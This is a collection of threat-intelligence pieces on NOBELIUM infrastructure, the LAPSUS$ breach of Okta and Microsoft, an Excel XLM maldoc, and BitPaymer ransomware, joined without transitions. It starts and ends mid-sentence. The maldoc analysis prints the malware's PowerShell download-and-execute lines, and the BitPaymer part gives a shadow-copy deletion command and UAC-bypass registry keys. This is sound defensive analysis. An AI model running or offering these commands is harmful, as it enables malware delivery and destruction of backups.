exploits for Mac OS X, taking advantage of CVE-2009-0563. The PDF exploit originally discovered by FireEye is the first known exploit capable of bypassing the Adobe Reader X sandbox. Due to this advanced capability, it is extremely valuable to any attacker. Although it was probably developed for (or by) use of a nation state originally, we now see it being copied and reused by other threat actors. This is becoming a common procedure nowadays and we can expect more such piggybacking or exploit stealing in the future.
# SOLARDEFLECTION C2 Infrastructure Used by NOBELIUM in Company Brand Misuse This report profiles the unique infrastructure used by Russian state-sponsored threat activity group NOBELIUM. The activity was identified through a combination of large-scale automated network traffic analytics and analysis derived from open source reporting. Data sources include the Recorded Future Platform, SecurityTrails, DomainTools, PolySwarm, Farsight, Shodan, Censys, Team Cymru’s Pure Signal™ and other common open-source tools and techniques. The report will be of most interest to individuals engaged in strategic and operational intelligence relating to the activities of the Russian government in cyberspace and network defenders. Some technical details from our original research have not been included in this report version in order to protect tracking techniques and ongoing research into NOBELIUM activity. ## Executive Summary Recorded Future’s Insikt Group continues to monitor Russian state-sponsored cyber espionage operations targeting government and private sector organizations across multiple geographic regions. From mid-2021 onwards, Recorded Future’s midpoint collection revealed a steady rise in the use of NOBELIUM infrastructure tracked by Insikt Group as SOLARDEFLECTION, which encompasses command and control (C2) infrastructure. In this report, we highlight trends observed by Insikt Group while monitoring SOLARDEFLECTION infrastructure and the recurring use of typosquat domains by its operators. A key factor we have observed from NOBELIUM operators involved in threat activity is a reliance on domains that emulate other brands (some legitimate and some that are likely fictitious businesses). Domain registrations and typosquats can enable spearphishing campaigns or redirects that pose a threat to victim networks and brands. Using a combination of proactive adversary infrastructure detections, domain analysis techniques, and Recorded Future Network Traffic Analysis, we have determined that NOBELIUM’s use of SOLARDEFLECTION infrastructure overlaps with other common infrastructure tactics, techniques, and procedures (TTPs) previously attributed to the group by multiple organizations including Microsoft, Fortinet, Sekoia, and Volexity. Previous open source reporting also highlighted NOBELIUM’s use of cracked versions of the Cobalt Strike penetration testing tool. ## Key Judgments - Insikt Group is confident that the identified SOLARDEFLECTION infrastructure can be attributed to the threat activity group publicly reported as NOBELIUM; this confidence is based on the use of overlapping network infrastructure previously attributed to NOBELIUM in public reporting, as well as unique variations of Cobalt Strike traditionally used by the group. - Broader themes in SOLARDEFLECTION C2 typosquats have included the misuse of brands across multiple industry verticals, particularly in the news and media industries. - Cobalt Strike servers related to SOLARDEFLECTION monitoring that were also previously linked to NOBELIUM activity used modified server configurations, likely in an attempt to remain undetected from researchers actively scanning for standard Cobalt Strike server features. - NOBELIUM has made extensive use of typosquat domains in SSL certificates and will likely continue to use deceptive techniques, including typosquat redirection, when using Cobalt Strike tooling. ## Background Analysis of recent and historical domains attributed to NOBELIUM broadly demonstrates the group’s familiarity with, and tendency to emulate, a variety of media, news and technology providers. The group has abused dynamic DNS resolution to construct and resolve to randomly generated subdomains for its C2s or root domains to mislead victims. The key aspect to these attacks is the use of either email addresses or URLs that look similar to the domain of a legitimate organization. Potentially harmful domain registrations and typosquats can enable spearphishing campaigns or redirects that pose an elevated risk to a company's brand or employees. A successful spearphish is dependent on factors such as the quality of the message, the credibility of the sender address, and, in the case of a redirecting URL, the credibility of the domain name. Insikt Group has previously observed other Russian nexus groups using typosquatting in support of operations, such as those aimed at the 2020 presidential elections, to increase confidence in the validity of the fraudulent login portal used to harvest victim credentials. This tactic has also been reported recently in open sources in connection with intrusions targeting entities in Ukraine, likely in support of Russia’s invasion of the country. Insikt Group assesses that NOBELIUM is a threat activity group operating in line with the objectives of Russia’s Foreign Intelligence Service (SVR). The SVR is tasked with providing the president of the Russian Federation, the Federal Assembly, and the government with the intelligence they need to make decisions in the areas of politics, the economy, military strategy, scientific-technical strategy, and the environment. Russia’s SVR defines itself as separate by allowing the Russian Main Intelligence Directorate (GRU) to focus on military intelligence operations, while the SVR focuses on political intelligence; this is, however, a very high-level view of these operations. The SVR conducts its affairs by collecting information via public and private means, with the intended goal of gathering strategic information from organizations and individuals who in turn influence strategic policy and decision-makers in targeted countries. In 2021, Volexity published research outlining a suspected APT29 phishing operation that targeted non-governmental organizations (NGOs), research institutions, governments, and international bodies using election fraud-themed lures purporting to be sent from the United States Agency for International Development (USAID), a government agency. The same day, Microsoft also published research on wider TTPs used in the same campaign and attributed the activity to NOBELIUM, the group behind the SolarWinds intrusions. This campaign targeted sensitive diplomatic and government entities as early as February 2021. They believe the threat actor used this information to launch other highly targeted attacks as part of their broader campaign. Additional research confirmed that a cluster of infrastructure monitored by Insikt Group under the designation SOLARDEFLECTION since 2021 overlaps with this previous reporting. Ongoing detections within the Recorded Future Command and Control security feed assisted in confirming the registration of new typosquat domains tied to NOBELIUM operations. More notably, we have confirmed that several newly identified typosquats continue to adopt the naming conventions or themes that were originally flagged as likely being associated with NOBELIUM reporting as early as 2020. The Recorded Future Platform automatically detects typosquatted domains; each newly created domain entity is evaluated for typosquatting-style similarity to other domains observed by Recorded Future. An example of this is the SOLARDEFLECTION typosquat, which based on the domain’s spelling was very likely an attempt by NOBELIUM operators to emulate the T-Mobile brand. A review of the frequency in which SOLARDEFLECTION domains were registered over the past two years confirmed NOBELIUM’s tendency to register domains in cycles, occasionally taking short hiatuses which at times likely coincided with new open source reporting attributing several domains to NOBELIUM activity. Insikt Group proactively detects SOLARDEFLECTION infrastructure through an in-depth understanding of the infrastructure TTPs that the group employs. Additionally, the Command and Control data set enables us to enrich and identify any SOLARDEFLECTION IPs that we have categorized as “positive C2”. We then analyze network communications to investigate how the C2 is interacting with infected machines or how it is being administered by the adversary. SOLARDEFLECTION C2s can be reviewed from within the Recorded Future Platform’s Command and Control data set.
# Microsoft and Okta Confirm Breach by LAPSUS$ Extortion Group Microsoft on Tuesday confirmed that the LAPSUS$ extortion-focused hacking crew had gained "limited access" to its systems, as authentication services provider Okta revealed that nearly 2.5% of its customers have been potentially impacted in the wake of the breach. "No customer code or data was involved in the observed activities," Microsoft's Threat Intelligence Center (MSTIC) said, adding that the breach was facilitated by means of a single compromised account that has since been remediated to prevent further malicious activity. The Windows maker, which was already tracking the group under the moniker DEV-0537 prior to the public disclosure, said it "does not rely on the secrecy of code as a security measure and viewing source code does not lead to elevation of risk." "This public disclosure escalated our action allowing our team to intervene and interrupt the actor mid-operation, limiting broader impact," the company's security teams noted. Identity and access management company Okta, which also acknowledged the breach through the account of a customer support engineer working for a third-party provider, said that the attackers had access to the engineer's laptop during a five-day window between January 16 and 21, but that the service itself was not compromised. The San Francisco-based cloud software firm also said it's identified the affected customers and that it's contacting them directly, stressing that the "Okta service is fully operational, and there are no corrective actions our customers need to take." "In the case of the Okta compromise, it would not suffice to just change a user's password," web infrastructure company Cloudflare said in a post mortem analysis of the incident. "The attacker would also need to change the hardware (FIDO) token configured for the same user. As a result, it would be easy to spot compromised accounts based on the associated hardware keys." That said, of particular concern is the fact that Okta failed to publicly disclose the breach for two months, prompting the cyber criminal group to ask "Why wait this long?" in its counter statement. LAPSUS$ has also claimed in its rebuttal that Okta was storing Amazon Web Services (AWS) keys within Slack and that support engineers seem to have "excessive access" to the communications platform. "The potential impact to Okta customers is NOT limited, I'm pretty certain resetting passwords and MFA would result in complete compromise of many clients' systems," the gang elaborated. ## Microsoft Exposes the Tactics of LAPSUS$ LAPSUS$, which first emerged in July 2021, has been on a hacking spree in recent months, targeting a wealth of companies over the intervening period, including Impresa, Brazil's Ministry of Health, Claro, Embratel, NVIDIA, Samsung, Mercado Libre, Vodafone, and most recently Ubisoft. The financially motivated group's modus operandi has been relatively straightforward: break into a target's network, steal sensitive data, and blackmail the victim company into paying up by publicizing snippets of the stolen data on their Telegram channel. Microsoft described LAPSUS$ as a group following a "pure extortion and destruction model without deploying ransomware payloads" and one that "doesn't seem to cover its tracks." Other tactics adopted by the crew include phone-based social engineering schemes such as SIM-swapping to facilitate account takeover, accessing personal email accounts of employees at target organizations, bribing employees, suppliers, or business partners of companies for access, and intruding in the ongoing crisis-response calls of their targets to initiate extortion demands. LAPSUS$ has also been observed deploying the RedLine Stealer that's available for sale on underground forums to obtain passwords and session tokens, in addition to buying credentials and access tokens from dark web marketplaces as well as searching public code repositories for exposed credentials, to gain an initial foothold. "The objective of DEV-0537 actors is to gain elevated access through stolen credentials that enable data theft and destructive attacks against a targeted organization, often resulting in extortion," the company said. "Tactics and objectives indicate this is a cybercriminal actor motivated by theft and destruction." Following initial access, the group is known to exploit unpatched vulnerabilities on internally accessible Confluence, JIRA, and GitLab servers for privilege escalation, before proceeding to exfiltrate relevant information and delete the target's systems and resources. To mitigate such incidents, Microsoft is recommending organizations to mandate multi-factor authentication (but not SMS-based), make use of modern authentication options such as OAuth or SAML, review individual sign-ins for signs of anomalous activity, and monitor incident response communications for unauthorized attendees. "Based on observed activity, this group understands the interconnected nature of identities and trust relationships in modern technology ecosystems and targets telecommunications, technology, IT services and support companies – to leverage their access from one organization to access the partner or supplier organizations," Microsoft detailed. Amidst the fallout from the leaks, LAPSUS$ appear to be taking a break. "A few of our members has [sic] a vacation until 30/3/2022. We might be quiet for some times [sic]," the group said on its Telegram channel.
# Snake/404 Keylogger, BIFF, and Covering Tracks?: An unusual maldoc It’s always interesting to see how attackers take a variety of techniques and wrap them up into one document. Some are so heavily obfuscated that it’s rather easy to point and say, “Oh, the malicious stuff is probably in there. I should focus on that.” Others are rather sparse and you have to spend some more time digging to put the clues together. This evening’s document is the latter. It contains password protected macros, but they’re empty. There’s an XLM line that isn’t difficult to find and decode, but that single line doesn’t explain how the .exe gets downloaded. All in all, the complication was finding the bits and pieces of code in the document and putting them together to match the Any.run behavior. ## The Obvious XLM If you open the spreadsheet and search for “=”, you’ll end up in cell H177. The hex isn’t tough to decode. You end up with something like the command below. Powershell is used to change to the `$env:appdata` directory and execute `gn.exe`. ``` EXEC(powershell -w 1 -EP bypass stARt-slEEp 25; cd ${enV`:appdata}; ('.'+'/gn.exe')) ``` However, where does `gn.exe` get downloaded? ## BIFF – Binary Interchange File Format BIFF is the binary file format that is used to save Excel workbooks. This binary format is more commonly referred to as XLS or MS-XLS and has been the default format for Excel through MS Office 2003. There have been a variety of BIFF versions over the years due to the new versions of Excel (BIFF2 – Excel 2.1; BIFF3 – Excel 3.0; BIFF4 – Excel 4.0, etc.). .xls files are structured as OLE (object linking and embedding) compound files. These compound files can store a variety of streams of data. One such place is in the BIFF records of a Workbook stream. We are used to using `oledump.py` to search for and dump macros. Yet as I said above, these macros are empty. ``` oledump.py -p plugin_biff ``` `oledump.py` also lets us look through the BIFF records. We can do that with this command: ``` oledump.py -p plugin_biff --pluginoptions "-x" [document.xls] ``` There’s a lot of output here so let’s take a look at it. The first line shows that a very hidden macro sheet exists. We’ll need to take care of that. The fourth line shows that there is a cell with the name `Auto_Open` which will execute as soon as the document is opened. The remaining output shows FORMULA cells that will get executed in some way. Some of it is parsed successfully, others not so much. Either way, we can see a tinyurl.com address. This is most likely the URL from which the .exe gets downloaded. These formulas are stored somewhere. Let’s get that very hidden macro sheet unhidden and see what we can see. ## Unhiding the macro sheet This process of unhiding a macro sheet is outlined in more detail here. Essentially, we need to toss the following VBA in a macro and execute it. Of course, the macros in this document are password protected, but other posts of mine show how to bypass it. This VBA code uncovers a new sheet in the document. We will need to change the font color from white to black to see them. We can see the typical `GET.WORKSPACE` checks for a mouse (line 126) and the ability to play sounds (line 127). After that, it takes the macro code from Sheet1 and copies it to D131. Line 129 contains the obfuscated line that does the actual downloading: ``` powershell -w 1 (nEw-oBjecT Net.WebcLIENt).('Down'+'loadFile').Invoke('https://tinyurl.com/y7zcye22','gn.exe') ``` We already saw the deobfuscated command in line 131 above. ## Covering Tracks? XLM code has the ability to make actual changes to the cells. This, in effect, also makes changes to the document itself. Line 138 will save whatever changes have been made thus far. And what do we notice happening right before that save? A blank cell is copied on top of 131, a cell that contained the command to execute `gn.exe`. My first thought that the purpose of overwriting line 131 was to make it tougher for incident responders to analyze a possibly malicious document. I also initially thought that it was a mistake to overwrite line 130 as it was blank already. It seemed to me that 129 would be a better candidate as it contains another of the smoking guns that downloaded the malware. I don’t think this is likely for two reasons. First, if my theory is true, it means that each malicious document in this campaign can be used only once. Once the XLM code is enabled, it gets one shot to reach out, download, and execute the malware before cleaning up its own tracks. There is no opportunity for the victim to try re-opening the document and getting infected again. Second, there is no XLM code to overwrite the obfuscated command in `Sheet1!H177`. I think that if an attacker were concerned about covering his tracks in this way, this other command should be deleted as well. ## Conclusion So like I said, this document was unusual. It contained a lot of things we’ve seen before like XLM, very hidden sheets, and password-protected macros, but this was a new combination of a variety of techniques. Plus we saw the added XLM commands that delete lines. If someone’s got a better theory about its purpose, I’m all ears. I just wonder if we’re going to see this technique more often? Ideas do have a way of getting around. Thanks for reading.
# Big Game Hunting: The Evolution of INDRIK SPIDER **From Dridex Wire Fraud to BitPaymer Targeted Ransomware** Sergei Frankoff and Bex Hartley November 14, 2018 INDRIK SPIDER is a sophisticated eCrime group that has been operating Dridex since June 2014. In 2015 and 2016, Dridex was one of the most prolific eCrime banking trojans on the market and, since 2014, those efforts are thought to have netted INDRIK SPIDER millions of dollars in criminal profits. Throughout its years of operation, Dridex has received multiple updates with new modules developed and new anti-analysis features added to the malware. In August 2017, a new ransomware variant identified as BitPaymer was reported to have ransomed the U.K.’s National Health Service (NHS), with a high ransom demand of 53 BTC (approximately $200,000 USD). The targeting of an organization rather than individuals, and the high ransom demands, made BitPaymer stand out from other contemporary ransomware at the time. Though the encryption and ransom functionality of BitPaymer was not technically sophisticated, the malware contained multiple anti-analysis features that overlapped with Dridex. Later technical analysis of BitPaymer indicated that it had been developed by INDRIK SPIDER, suggesting the group had expanded its criminal operation to include ransomware as a monetization strategy. The beginning of 2017 also brought a turning point in INDRIK SPIDER’s operation of Dridex. Dridex spam campaigns significantly declined, with new campaigns moving from high volume and frequency to smaller, targeted distribution. The rapid development of Dridex also slowed during this time, with fewer versions released during 2017 than in previous years. CrowdStrike® Falcon® Intelligence™ also observed a strong correlation between Dridex infections and BitPaymer ransomware. During incidents that involved BitPaymer, Dridex was installed on the victim network prior to the deployment of the BitPaymer malware. Also unusual was the observation that both Dridex and BitPaymer were spread through the victim network using lateral movement techniques traditionally associated with nation-state actors and penetration testing. These new tactics of selectively targeting organizations for high ransomware payouts have signaled a shift in INDRIK SPIDER’s operation with a new focus on targeted, low-volume, high-return criminal activity: a type of cybercrime operation we refer to as big game hunting. Since this shift, INDRIK SPIDER has used BitPaymer ransomware as a key vehicle for these operations, having netted around $1.5M USD in the first 15 months of ransomware operations. ## Targeted Delivery Falcon Intelligence has provided support to multiple active BitPaymer incident response (IR) engagements. The information gathered from these engagements, combined with information from prior Dridex IR engagements, provides insight into how INDRIK SPIDER deploys and operates both Dridex and BitPaymer. In recent BitPaymer IR engagements, Falcon Intelligence linked the initial infection vector to fake updates for a FlashPlayer plugin and the Chrome web browser. These fake updates are served via legitimate websites that have been compromised and use social engineering to trick users into downloading and running a malicious executable. These fake update campaigns appear to be a pay-per-install service that is simply used by INDRIK SPIDER to deliver its malware, as other malware has also been delivered via the same campaigns. ### Lateral Movement With PowerShell Empire After the initial compromise, Falcon Intelligence observed both the Dridex loader and PowerShell Empire in operation on the infected host. PowerShell Empire is a post-exploitation agent built for penetration testing, which was used to move laterally between hosts. When moving between hosts, the PowerShell Empire agent was run as a service with the name **Updater**. During this lateral movement, Falcon Intelligence also observed PowerShell Empire deploying the Mimikatz module on servers in the victim’s network. Mimikatz is a post-exploitation tool used to harvest credentials from Windows hosts. These compromised credentials were then used for further lateral movement. For many of the hosts that PowerShell Empire moved to, it would download and install the Dridex loader. The lateral movement continued until the domain credentials for the environment were retrieved and both PowerShell Empire and the Dridex loader were installed on the domain controllers in the environment. This process appears to be automated based on the speed at which the hosts are compromised. Though traditionally used to load modules for fraud activity, recent updates to the Dridex loader also allow it to perform system and network reconnaissance. These reconnaissance capabilities include the ability to collect information about the current user on the host, list computers on the local network, and extract the system’s environment variables. This information is likely used to assist with identifying interesting targets within the victim network. In some instances, Falcon Intelligence observed several days of inactivity between the time the domain controllers were compromised and the installation of BitPaymer. This delay may indicate that the operators were performing reconnaissance and gathering information about the victim before deciding how best to monetize the compromise. ### Ransomware Deployed via PowerShell Empire and GPO Falcon Intelligence has observed two different methods used to deploy BitPaymer once the domain controllers are compromised. In one instance, only the domain controllers and other critical infrastructure, like payroll servers, were targeted and PowerShell Empire was used to download and execute the BitPaymer malware directly on these servers. In another instance, the BitPaymer malware was downloaded to a network share in the victim network, and a startup script called **gpupdate.bat** was pushed to all the hosts on the network via Group Policy Object (GPO), from the domain controllers. This script copied BitPaymer from the share and executed it on each host in the network, encrypting thousands of machines. ### Big Game Hunters Use APT Tactics This targeted deployment methodology involving credential compromise, lateral movement, and the use of system administrator tools closely mimics behavior Falcon Intelligence has observed from nation-state adversary groups and penetration testing teams. With the move to targeting select victims for high-value payouts, the INDRIK SPIDER adversary group is no longer forced to scale its operations and now has the capacity to tailor its tooling to the victim’s environment and play a more active role in the compromise with “hands on keyboard” activity. ## BitPaymer Ransomware Though the first publicly reported use of BitPaymer was in August 2017, when the malware was linked to ransomware attacks against several NHS hospitals, it was first identified in July 2017 by Twitter user Michael Gillespie. Later, in January 2018, a report was released that identified similarities between the BitPaymer ransomware and Dridex malware. The report authors renamed the malware “FriedEx.” Falcon Intelligence has analyzed this malware and can confirm the overlap between BitPaymer/FriedEx and Dridex malware. Due to the targeted nature of the ransomware, BitPaymer is custom-built for each operation, with a unique encryption key, a ransom note, and contact information embedded in it. As a result of this customization, there are multiple builds of the malware, though Falcon Intelligence has identified two main variants: an older variant that splits the encryption process into multiple “modes” with each mode focused on a specific task; and a newer variant that is built to be run as a service. ### BitPaymer AKA “wp_encrypt” During analysis, Falcon Intelligence obtained builds of the ransomware that contained the program database (PDB) string **S:\Work\_bin\Release-Win32\wp_encrypt.pdb**. Based on this string, the malware developers refer to this ransomware as wp_encrypt. The PDB string also contains the prefix string **S:\Work**, which is identical to other Dridex modules. The ransomware also contains code from the Dridex modules, with some variants of the ransomware sharing up to 69 percent of their code with the Dridex loader. | MODULE | DESCRIPTION | |-------------|-----------------------------------------------------------------------------| | loader | Downloads and installs the core Dridex modules, including the worker | | vnc | Provides remote desktop access | | netcheck | Checks network connectivity | | spammer | Spam module | | worker | Core component responsible for banking trojan functionality, including keylogging, web injects, download and execute second-stage payloads, etc. | | trendmicro | Whitelists Dridex modules from TrendMicro antivirus detection | | wp_decrypt | BitPaymer decryption tool | ### Anti-Analysis Both variants of the BitPaymer malware feature multiple techniques to hinder analysis. The malware developers have employed a combination of encrypted strings, string hashes, and dynamic API resolution to ensure that no strings exist in the binary. #### Encrypted Strings Table The BitPaymer malware contains a small table of encrypted strings in the **rdata** section of the binary. These strings use standard RC4 encryption in which the first 40 bytes form the RC4 key, and the remaining data contains the encrypted strings table. These strings are temporarily decrypted on-demand during runtime. The strings in the decrypted strings table are separated by a null byte and are referenced by their order. This string table encryption method is identical to the method used in other Dridex malware, including the 40-byte key length and the position of the table in the **rdata** section. The strings table includes, among other strings, the RSA public key used in the ransomware encryption, the ransom note, file extensions, and the encryption target flags string. #### String Hashes In addition to the encrypted strings table, BitPaymer replaces the remaining strings in the binary with hashes and uses an algorithm to match these hashes with strings that exist on the host. For example, when setting the run key for persistence, instead of simply opening the registry key **HKCU\Software\Microsoft\Windows\CurrentVersion\Run**, BitPaymer uses the API **RegEnumKeyW** to iterate through all the registry keys, comparing their hash value until the correct key has been located. The hashing algorithm generates a CRC32 hash of the string, converted to lowercase. This hash is combined with a DWORD using a simple XOR. This DWORD is different for each build of the malware. ```python import binascii def get_string_hash(string_value, key_dword): crc_hash = binascii.crc32(string_value.lower()) & 0xffffffff hash_value = crc_hash ^ key_dword return hash_value ``` #### Dynamic API Resolution The Windows APIs that are used in the malware are resolved dynamically at runtime. For each API, the function name and DLL name are hashed and stored in the binary. At runtime, when the API is needed, the malware will iterate through all DLLs in the Windows system directory, comparing a hash of their name with a precomputed DLL hash until it has been located. The malware will then load the DLL and iterate through the export table comparing a hash of the API name with the expected hash until it has been located. The hashing algorithm used for the API names is the same CRC32 algorithm used for the string hashes. However, when hashing the DLL names, BitPaymer converts the strings to uppercase before hashing them. This process is also used in other Dridex modules. ### Persistence The older “mode” variant of BitPaymer uses the Windows registry for persistence, while the newer service variant will attempt to install itself as a service. If that fails, it will fall back to using the Windows registry. #### Registry Persistence The older “mode” variant will first copy itself to either the **%USERPROFILE%\AppData\Local** or the **%USERPROFILE%\AppData\LocalLow** directory, depending on its process integrity level. Then it will add a new registry value to the registry key **HKCU\Software\Microsoft\Windows\CurrentVersion\Run** with the path to the newly copied malware. The registry value name is a randomly generated string between five and fifteen characters, containing upper and lowercase letters as well as numbers. #### Windows Event Viewer UAC Bypass (eventvwr.msc) When the newer service variant of BitPaymer is run, it first determines if it is being executed from an alternate data stream. If it is not executed from an alternate data stream, the malware creates a file in the **%APPDATA%** folder with a random file name between three and eight characters long, containing uppercase and lowercase letters as well as numbers. It then copies itself to the alternate data stream **:bin** of the newly created file and creates a new process from the stream. When the malware is executed from the alternate data stream, it checks the process integrity level. If it is not running with a level above medium integrity, it attempts to elevate its privileges. To suppress the User Access Control (UAC) prompt that normally occurs during privilege elevation, the malware uses a UAC bypass technique first documented in August 2016. This bypass requires temporarily setting either the registry key **HKCU\Software\Classes\ms-settings\shell\open\command** on Windows 10, or the registry key **HKCU\Software\Classes\mscfile\shell\open\command** on Windows 7 to execute the malware. Once the registry key is set, the malware launches the Windows event viewer process **eventvwr.msc**, which will inadvertently launch the malware set in the registry keys with elevated privileges. #### Hijacked Service Persistence If elevated privileges are not obtained, the malware falls back to using the same Windows registry run key as the older mode variant for persistence **HKCU\Software\Microsoft\Windows\CurrentVersion\Run**. However, if the malware is successful in elevating privileges, it begins to enumerate existing Windows services on the host that are configured to run as **LocalSystem**. The malware selects services that are currently not active and ignores services that launch the executables **svchost.exe** and **lsass.exe**. For each service, the malware attempts to take control of the service’s executable — first using **icacls.exe** with the **/reset** flag to reset the executable’s permissions, then using **takeown.exe** with the **/F** flag to take ownership of the executable. If this is successful, the malware creates a **:0** alternate data stream in the executable and copies the executable’s own contents to the stream. This can be used to restore the executable later. Then the malware replaces the contents of the executable with a copy of itself and launches the service. The file modified time of the executable is also artificially changed to **00:00:00 UTC**. The purpose of this time change is so the file can be identified and restored by the decryption tool. Once a service has been successfully hijacked and launched, the malware stops attempting to hijack the remaining services and exits. If there are no services matching the selection criteria, BitPaymer simply exits and no files are encrypted. ### Shadow Files Removal Before encryption, both variants of BitPaymer attempt to remove the backup shadow files from the host, making it impossible to restore encrypted files. This is achieved by launching the **vssadmin.exe** process with the following command: `vssadmin.exe Delete Shadows /All /Quiet`. ### Encryption There is a string present in the strings table that works like a configuration flag for the encryption targets of the malware. The string may contain a combination of the letters F, R, N, and S. During the encryption process, the letters in this flag are checked to determine what drive types to encrypt. The corresponding drive types for each letter are described below. | LETTER | DESCRIPTION | |--------|--------------------------------------------------------------| | F | Encrypt fixed drives | | R | Encrypt removable drives | | N | Encrypt network drives (mounted) | | S | Search for network shares on the domain / workgroup and encrypt them | ### Network Share Encryption In order to encrypt network shares, BitPaymer will attempt to enumerate the sessions for each user logged onto the infected host and create a new process, using the token of each user. These new processes will first spawn a **net.exe** processing with the **view** argument to gather a list of network accessible hosts. For each host, BitPaymer spawns another **net.exe** process with command **net view <host>** using the newly discovered host as a parameter. This will return a list of network shares available to the impersonated user on the host. Once a list of all available shares has been gathered, BitPaymer attempts to mount them to be encrypted. ### Encryption Routine For each drive targeted, the malware recursively iterates through all files and directories. For each file, the name and path are compared against a list of excluded filenames and two lists of excluded directory names. These exclusion lists are composed of regular expression type strings that are located in the encrypted strings table. If the file name and path do not match any regular expressions in the exclusion lists, the file is encrypted. The file encryption algorithm imports a hard-coded RSA 1024-bit public key from the encrypted strings table using **CryptImportPublicKeyInfo**, and for each file, generates a 128-bit RC4 key using **CryptGenKey**. The RC4 key is then used to encrypt the file in place. Once it is encrypted, the file is moved to a new file with the same name, and the file extension is appended with the keyword **.locked**. The RC4 key is exported as a **SIMPLEBLOB** encrypted with the RSA key and Base64-encoded. A second file is created with the same name as the encrypted file, except it is appended with the extension **.readme_txt**. A ransom note is written to this file, and the RSA-encrypted, Base64-encoded RC4 key is appended to this file along with the **KEY:** string. Because the key is not appended to the encrypted file but instead written to a separate file, if the file containing the ransom note is accidentally deleted or moved to a separate directory, the encrypted file will become unrecoverable. There is some indication that this may have occurred in the past, as newer ransom notes include specific warnings about touching the **readme_txt** files, while older versions of the ransom notes do not. The language in the ransom notes indicates that this ransomware is targeted specifically at companies, not individuals. The notes also contain a threat to leak private information that has been collected from the target if the ransom is not paid. Though there is no functionality to collect this information in the ransomware itself, the ransomware is deployed by INDRIK SPIDER in parallel with Dridex malware, and the Dridex malware contains modules that may be used to collect information from infected hosts. The use of an embedded RSA public key also indicates that each build of the ransomware binary is unique to a specific target. By design, the decryption tool needs to contain the corresponding RSA private key so if the same build is used for multiple targets, the ransom would only need to be paid once to acquire the private key, which could then be used to decrypt all the infections. Falcon Intelligence has acquired multiple decryption tools related to BitPaymer, which confirm the theory that a unique key is used for each infection. ### Ransom Note and Decryption Process Information provided in BitPaymer ransom notes has continued to change, with the first change coming shortly after the first identified campaign in July 2017. Initially, INDRIK SPIDER provided all required information in either the ransom note or through a TOR-based payment portal, meaning the victim could make the payment with very little interaction with the actor. However, later notes removed this key information forcing the victims to email the INDRIK SPIDER campaign operator for payment and decryption details. Unlike many ransomware operations, which usually just require victims to make the payment and subsequently download a decryptor, INDRIK SPIDER requires the victim to engage in communication with an operator. Falcon Intelligence has had unique insight into the email dialogue between a victim and an INDRIK SPIDER operator. This dialogue has revealed details about how the adversary approaches payment negotiation with the victim, as well as the communication of decryption instructions. Initial victim communication with the INDRIK SPIDER operator, using one of the email addresses provided, results in the operator providing key pieces of information up front, such as the BTC address and the ransom amount. INDRIK SPIDER is also willing to demonstrate decryption legitimacy by offering to decrypt two test files of the victim’s choice. It was made clear during communications that INDRIK SPIDER is not willing to negotiate on the ransom amount, explicitly stating that the victim can use multiple Bitcoin exchanges to obtain the number of BTC required, and the exchange rate should be calculated based on the rate posted on the cryptocurrency exchange Bittrex. Ransom demands have varied between requesting an exact USD value in BTC and an exact number of BTC, which is likely due to the continued fluctuation in the BTC-to-USD value. In communications with INDRIK SPIDER, the victim is told to use any BTC exchange from the top 10 and seek help from local information technology (IT) support companies. Of note, INDRIK SPIDER specifies the geographical location of where the victim should seek help, confirming that they know key information about the victim. Once payment has been made, INDRIK SPIDER acknowledges receipt and states that the decryptor will be “delivered within a few hours.” Though earlier in the communication process, a one-hour time window for delivery of the decrypter is promised upon receipt of payment, the decryptor was actually delivered closer to four hours after payment. This discrepancy could be due to the difference in time zones and working hours of the INDRIK SPIDER operator. INDRIK SPIDER uses file sharing platforms to distribute the BitPaymer decryptor. In an extensive email to the victim, the INDRIK SPIDER operator provides a decryptor download link, decryptor deletion link (to be used following decryptor download), and a password. The same email also provides clear instructions on how to download and use the BitPaymer decryptor, including how to remove the malware persistence. The operator also states that they will be able to provide assistance using the same email address for a further period of time, which is usually until the end of the current work week. Interestingly, INDRIK SPIDER provides the victim with several key security recommendations to follow that may ultimately avoid further breaches. ### Ransom Payments Ransom demands have varied significantly, suggesting that INDRIK SPIDER likely calculates the ransom amount based on the size and value of the victim organization. The lowest identified payment was for approximately $10,000 USD, and the highest observed was for close to $200,000 USD. | BTC Address | Total Received in USD | |----------------------------------------------------|-----------------------| | 12AWdHJkwF193ud21XWGontyCJTW6A9i6p | $197,596.05 | | 1Ln9RxSRuDqqFhCTuqBPBKRMeyhVhRaUG4 | $0 | | 1BWj247jtipKr1wuFciKypeidZVwZWHCi9 | $77,651.59 | | 19aF868XPJhNqheXWgvrHPqnXpwhttf3Hw | $173,315.48 | | 14uAWnPnhtrXDB9DTBCruToawM65dUgwot | $740,752.71 | | 1PNmBWJHzJGqTUemastR7E4ccrUNASktmZ | $172,793.80 | | 1DWbPyjmbKA1NFqv3nyL47y9Vsz6WFU4Hw | $192,867.22 | As of Nov. 1, 2018, Falcon Intelligence had observed a total of 185.7 BTC paid to INDRIK SPIDER-controlled BTC addresses, with a USD total of $1,554,977 based on BTC-to-USD value at the time the ransom payment was made. ## How CrowdStrike Falcon Prevents BitPaymer The process tree for BitPaymer, as seen by the Falcon sensor, is shown below. To prevent BitPaymer from encrypting files on the host, Falcon Prevent™ next-generation antivirus must kill the ransomware process (KX9OGR~1:BIN) prior to execution of the file encryption routines. Falcon Prevent provides two layers of defense to protect against ransomware threats like BitPaymer: indicators of attack (IOAs) and machine learning (ML). Either one of these defenses is enough to stop the BitPaymer process before it can encrypt any files. ## The Future of INDRIK SPIDER and Big Game Hunting INDRIK SPIDER consists of experienced malware developers and operators who have likely been part of the group since the early days of Dridex operations, beginning in June 2014. The formation of the group and the modus operandi changed significantly in early 2017. Dridex operations became more targeted, resulting in less distribution and Dridex sub-botnets in operation, and BitPaymer ransomware operations began in July 2017. There is no doubt that BitPaymer ransomware operations are proving successful for this criminal group, with an average estimated take of over $200,000 USD per victim, but it is also important to remember that INDRIK SPIDER continues to operate the Dridex banking trojan. Though Dridex is still bringing in criminal revenue for the actor after almost four years of operation, targeted wire fraud operations likely require lengthy planning. Therefore, a ransomware operation provides high-value income for the actor for a lot less expenditure, both in operator and development costs. Falcon Intelligence anticipates that INDRIK SPIDER will continue to operate both Dridex and BitPaymer, with the two monetization strategies complementing each other. In scenarios where wire fraud is not as lucrative an option, INDRIK SPIDER might use ransomware to monetize the compromise instead. What is clear though, is that the low-scale, selective targeting and high payout tactics of big game hunting is proving to be a winning strategy for INDRIK SPIDER. INDRIK SPIDER isn’t the only criminal actor running big game hunting operations; The first ransomware to stake a claim for big game hunting was Samas (aka SamSam), which is developed and operated by BOSS 